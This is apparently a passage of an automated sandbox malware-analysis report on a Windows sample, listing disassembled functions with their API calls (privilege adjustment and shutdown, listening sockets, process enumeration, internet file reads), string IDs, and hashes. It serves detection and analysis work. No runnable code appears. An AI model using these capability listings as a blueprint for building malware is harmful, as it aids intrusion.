                                                                                      • Instruction Fuzzy Hash: 8B913671D0021DABDB10DFA4DC85EEEBFB9BF48750F10812AE515A7281DB749A45CFA0
                                                                                      Function 005E79D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005DB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005DB180
                                                                                        • Part of subcall function 005DB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005DB1AD
                                                                                        • Part of subcall function 005DB134: GetLastError.KERNEL32 ref: 005DB1BA
                                                                                      • ExitWindowsEx.USER32(?,00000000), ref: 005E7A0F
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                                      • String ID: $@$SeShutdownPrivilege
                                                                                      • API String ID: 2234035333-194228
                                                                                      • Opcode ID: ed883c4dd92f109245a8da9d339985f50c6a4ce482dc745249d140232ab00c97
                                                                                      • Instruction ID: 624d14ab390bdadc3a476f3534e0c32da01462ec6e872fd2714e900bccebb8d9
                                                                                      • Opcode Fuzzy Hash: ed883c4dd92f109245a8da9d339985f50c6a4ce482dc745249d140232ab00c97
                                                                                      • Instruction Fuzzy Hash: 0001FC716583AA6BF73C56798C4ABBF3A58FB08740F141835FD93E21D2E6605E0181A0
                                                                                      Function 005F8C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 005F8CA8
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F8CB7
                                                                                      • bind.WSOCK32(00000000,?,00000010), ref: 005F8CD3
                                                                                      • listen.WSOCK32(00000000,00000005), ref: 005F8CE2
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F8CFC
                                                                                      • closesocket.WSOCK32(00000000,00000000), ref: 005F8D10
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$bindclosesocketlistensocket
                                                                                      • String ID:
                                                                                      • API String ID: 1279440585-0
                                                                                      • Opcode ID: 5a5066d7cb1751cf8f6745b02fb14d030bec2520a0227f132084b32252aac251
                                                                                      • Instruction ID: 2680ed4d54cfa685812c7391b4737cf0db2095f0e2b1aaf7cb0e2c37138f00fd
                                                                                      • Opcode Fuzzy Hash: 5a5066d7cb1751cf8f6745b02fb14d030bec2520a0227f132084b32252aac251
                                                                                      • Instruction Fuzzy Hash: 1C21B4316006059FCB20EF64C949B7E7FA9FF89710F104558FA56AB2D1CB74AD42CB61
                                                                                      Function 005E6532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 005E6554
                                                                                      • Process32FirstW.KERNEL32(00000000,0000022C), ref: 005E6564
                                                                                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 005E6583
                                                                                      • __wsplitpath.LIBCMT ref: 005E65A7
                                                                                      • _wcscat.LIBCMT ref: 005E65BA
                                                                                      • CloseHandle.KERNEL32(00000000,?,00000000), ref: 005E65F9
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
                                                                                      • String ID:
                                                                                      • API String ID: 1605983538-0
                                                                                      • Opcode ID: 6d754e9aef0e6b6dea03c3728ceb1537bfc04144494f5885360f1430a2b4cc61
                                                                                      • Instruction ID: b5eac3cf1c6c44a80e3de8f754d0a332d71df4474978f17950320ed533205533
                                                                                      • Opcode Fuzzy Hash: 6d754e9aef0e6b6dea03c3728ceb1537bfc04144494f5885360f1430a2b4cc61
                                                                                      • Instruction Fuzzy Hash: 3C21A771A00259AFDB20ABA5CC88FDEBBBCBB59380F5004AAF545D3141D7719F85CB60
                                                                                      Function 005A9B60 Relevance: 8.6, Strings: 6, Instructions: 1055COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: ERCP$VUUU$VUUU$VUUU$VUUU$d
                                                                                      • API String ID: 0-3574419160
                                                                                      • Opcode ID: 35ebf3a4298c728054555d7291cb131c1cee1d7d0ceddac84d7dede68554c375
                                                                                      • Instruction ID: e9ded454ce9ef5acb32fb0eb21aa658afd59662e07f619bd8fb24f7d49c74347
                                                                                      • Opcode Fuzzy Hash: 35ebf3a4298c728054555d7291cb131c1cee1d7d0ceddac84d7dede68554c375
                                                                                      • Instruction Fuzzy Hash: EA928B75A0062ACBDF24CF58D8807EDBBB2BB55314F24859AE816AB380D7719D81CF91
                                                                                      Function 005E13CA Relevance: 8.1, APIs: 1, Strings: 4, Instructions: 560stringCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • lstrlenW.KERNEL32(?,?,?,00000000), ref: 005E13DC
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: lstrlen
                                                                                      • String ID: ($,2e$<2e$|
                                                                                      • API String ID: 1659193697-793038294
                                                                                      • Opcode ID: b36ad1c16625ef993550f37b144e85b95c15ad2c5d545ebd3e1bce9e7d185ec4
                                                                                      • Instruction ID: ce035c92c591c708595cab16962858b02a27fd9b1ea0a2f40fe60bb9ea048fbb
                                                                                      • Opcode Fuzzy Hash: b36ad1c16625ef993550f37b144e85b95c15ad2c5d545ebd3e1bce9e7d185ec4
                                                                                      • Instruction Fuzzy Hash: 43321675A00B459FCB28CF69C48096ABBF1FF48310B15C56EE59ADB3A2E770E941CB44
                                                                                      Function 005F923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005FA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 005FA84E
                                                                                      • socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 005F9296
                                                                                      • WSAGetLastError.WSOCK32(00000000,00000000), ref: 005F92B9
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLastinet_addrsocket
                                                                                      • String ID:
                                                                                      • API String ID: 4170576061-0
                                                                                      • Opcode ID: 2126e680f589d26b0aa142cf342757568a0f559f7a988f744d9271c530dd27bd
                                                                                      • Instruction ID: f57a238d4a2452b5fe9ea4d075137eded270e5ef90ca5e8be2ccde2a18bfeae8
                                                                                      • Opcode Fuzzy Hash: 2126e680f589d26b0aa142cf342757568a0f559f7a988f744d9271c530dd27bd
                                                                                      • Instruction Fuzzy Hash: 8D41C470600505AFDB14AF28CC5AEBE7BEDFF84764F144448F9569B2C2CB74AD018B91
                                                                                      Function 005EEB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 005EEB8A
                                                                                      • _wcscmp.LIBCMT ref: 005EEBBA
                                                                                      • _wcscmp.LIBCMT ref: 005EEBCF
                                                                                      • FindNextFileW.KERNEL32(00000000,?), ref: 005EEBE0
                                                                                      • FindClose.KERNEL32(00000000,00000001,00000000), ref: 005EEC0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Find$File_wcscmp$CloseFirstNext
                                                                                      • String ID:
                                                                                      • API String ID: 2387731787-0
                                                                                      • Opcode ID: a33d3cf6ed78571c22cfbf05d010eefdb2119bbe33a451ee3d84f910e0766d42
                                                                                      • Instruction ID: 7e7e42824a1b02359c76b61973683135b27e11265448797d989ebffbbf7d9b6c
                                                                                      • Opcode Fuzzy Hash: a33d3cf6ed78571c22cfbf05d010eefdb2119bbe33a451ee3d84f910e0766d42
                                                                                      • Instruction Fuzzy Hash: DD41BE35600702DFCB18DF28C495A9ABBE5FF89320F20455DE99A8B3A1DB31BD45CB91
                                                                                      Function 00608111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                      • String ID:
                                                                                      • API String ID: 292994002-0
                                                                                      • Opcode ID: 899e36857583801550fd995c34e33b50ea7456f74e97dd8109daf0c3bbe52a67
                                                                                      • Instruction ID: 775f545d7deeaae9c5c84299577b08bd0fc371cd014992de195f9dca0a772d0a
                                                                                      • Opcode Fuzzy Hash: 899e36857583801550fd995c34e33b50ea7456f74e97dd8109daf0c3bbe52a67
                                                                                      • Instruction Fuzzy Hash: C01186313405126FE7259F16DC45AAF7B9AEF95760F040469F885D7281CF74ED0386A4
                                                                                      Function 005BE01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,?,005BE014,756F0AE0,005BDEF1,0063DC38,?,?), ref: 005BE02C
                                                                                      • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 005BE03E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: GetNativeSystemInfo$kernel32.dll
                                                                                      • API String ID: 2574300362-192647395
                                                                                      • Opcode ID: 5bca5015033246ce35fca6e5be6dd3f7330170765a3e437c8e30a0c277a8a6dc
                                                                                      • Instruction ID: 0e8c42cd721ed0ef957450caa0899b3e9774a56fd06899c2ce3a77f737a7a807
                                                                                      • Opcode Fuzzy Hash: 5bca5015033246ce35fca6e5be6dd3f7330170765a3e437c8e30a0c277a8a6dc
                                                                                      • Instruction Fuzzy Hash: 66D0A770400B139FD7315F60EC0E6D27AF6BB01301F1D8419E881D2550EBB4D8858650
                                                                                      Function 005B3B70 Relevance: 5.9, Strings: 4, Instructions: 903COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Exception@8Throwstd::exception::exception
                                                                                      • String ID: @$ f$ f$ f
                                                                                      • API String ID: 3728558374-118614829
                                                                                      • Opcode ID: bffb7b5614069e4f81893b21f74b4cd1e249f0e7a3acdc370aab9ecd8958b3be
                                                                                      • Instruction ID: 476e1ece9a848c7012560943f6409171361087d95215343a4ca877d3e4a3865e
                                                                                      • Opcode Fuzzy Hash: bffb7b5614069e4f81893b21f74b4cd1e249f0e7a3acdc370aab9ecd8958b3be
                                                                                      • Instruction Fuzzy Hash: 9E726C749042099FCB24DF94C485AFEBBB6FF88300F18805AE915AB291D775BE45CB91
                                                                                      Function 005BB11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • DefDlgProcW.USER32(?,?,?,?,?), ref: 005BB22F
                                                                                        • Part of subcall function 005BB55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 005BB5A5
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Proc$LongWindow
                                                                                      • String ID:
                                                                                      • API String ID: 2749884682-0
                                                                                      • Opcode ID: d7ad29e8452d84de252a3533514decaf69b2fbf18996a9dbd284491125f71ae5
                                                                                      • Instruction ID: 02471f9d8d053674025baad1c5759cdba5ec6d2568845c3afed9db45102de685
                                                                                      • Opcode Fuzzy Hash: d7ad29e8452d84de252a3533514decaf69b2fbf18996a9dbd284491125f71ae5
                                                                                      • Instruction Fuzzy Hash: 3BA13664114005BAFB38AB2A8C89DFF6D9EFB86340B18491DF901D6691DBD6FC41D273
                                                                                      Function 005F4EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,005F43BF,00000000), ref: 005F4FA6
                                                                                      • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 005F4FD2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Internet$AvailableDataFileQueryRead
                                                                                      • String ID:
                                                                                      • API String ID: 599397726-0
                                                                                      • Opcode ID: e96e1fc6dc97057dd07a7721a9c37a2e7cd9a6bc9fc3d38a3dc65dc01ce334c4
                                                                                      • Instruction ID: 6fad56724c5b521ea83ae587f06e480e8ab1829c906850bab848df39dff48ec4
                                                                                      • Opcode Fuzzy Hash: e96e1fc6dc97057dd07a7721a9c37a2e7cd9a6bc9fc3d38a3dc65dc01ce334c4
                                                                                      • Instruction Fuzzy Hash: 6841DA7150460EBFEB209E94DC85FBF7BBCFB80754F10442EF70566281EA799E419AA0
                                                                                      Function 005A77B0 Relevance: 4.6, APIs: 1, Strings: 1, Instructions: 1076COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _memmove
                                                                                      • String ID: \Qe
                                                                                      • API String ID: 4104443479-77592324
                                                                                      • Opcode ID: 64cd821623c1a28e81c64e3a1ddd48b1b8f76399f0661bdc089c1530a311be72
                                                                                      • Instruction ID: b0c3b8ff4fab1c433c0117a11e38c4cee5c1af21bf5888cc036ed016f3aead7a
                                                                                      • Opcode Fuzzy Hash: 64cd821623c1a28e81c64e3a1ddd48b1b8f76399f0661bdc089c1530a311be72
                                                                                      • Instruction Fuzzy Hash: 45A25A74A04219DFDB24CF58C8806EDBBB2FF59314F2581AAD859AB391D7349E81CF90
                                                                                      Function 005EE1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 005EE20D
                                                                                      • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 005EE267
                                                                                      • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 005EE2B4
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$DiskFreeSpace
                                                                                      • String ID:
                                                                                      • API String ID: 1682464887-0
                                                                                      • Opcode ID: 260a706d6b7c3051d51e089b153e5d8071aab5f4d4b393ea222788b63a913ec4
                                                                                      • Instruction ID: d41eecb1511ada5bee523833449e282ea94dd3d0efce19eb4f21ae984793e402
                                                                                      • Opcode Fuzzy Hash: 260a706d6b7c3051d51e089b153e5d8071aab5f4d4b393ea222788b63a913ec4
                                                                                      • Instruction Fuzzy Hash: 9F216035A00519EFCB00DFA5D885AEDBFB9FF89310F0484A9E945A7351DB319915CB50
                                                                                      Function 005DB134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BF4EA: std::exception::exception.LIBCMT ref: 005BF51E
                                                                                        • Part of subcall function 005BF4EA: __CxxThrowException@8.LIBCMT ref: 005BF533
                                                                                      • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005DB180
                                                                                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005DB1AD
                                                                                      • GetLastError.KERNEL32 ref: 005DB1BA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                                                      • String ID:
                                                                                      • API String ID: 1922334811-0
                                                                                      • Opcode ID: adb0735f6ebbcc30512916d5a7e561f3415e851404982717927c038ef93b337d
                                                                                      • Instruction ID: 3ade82eab412157f9fb3870a2231018233bcd2fe6e4a0089986f83a49bc66ec7
                                                                                      • Opcode Fuzzy Hash: adb0735f6ebbcc30512916d5a7e561f3415e851404982717927c038ef93b337d
                                                                                      • Instruction Fuzzy Hash: 97119DB1400205EFE7289F98DC85D6ABBAAFB44310B21852EE05693250DB70FC42CB60
                                                                                      Function 005E6606 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 005E6623
                                                                                      • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 005E6664
                                                                                      • CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 005E666F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
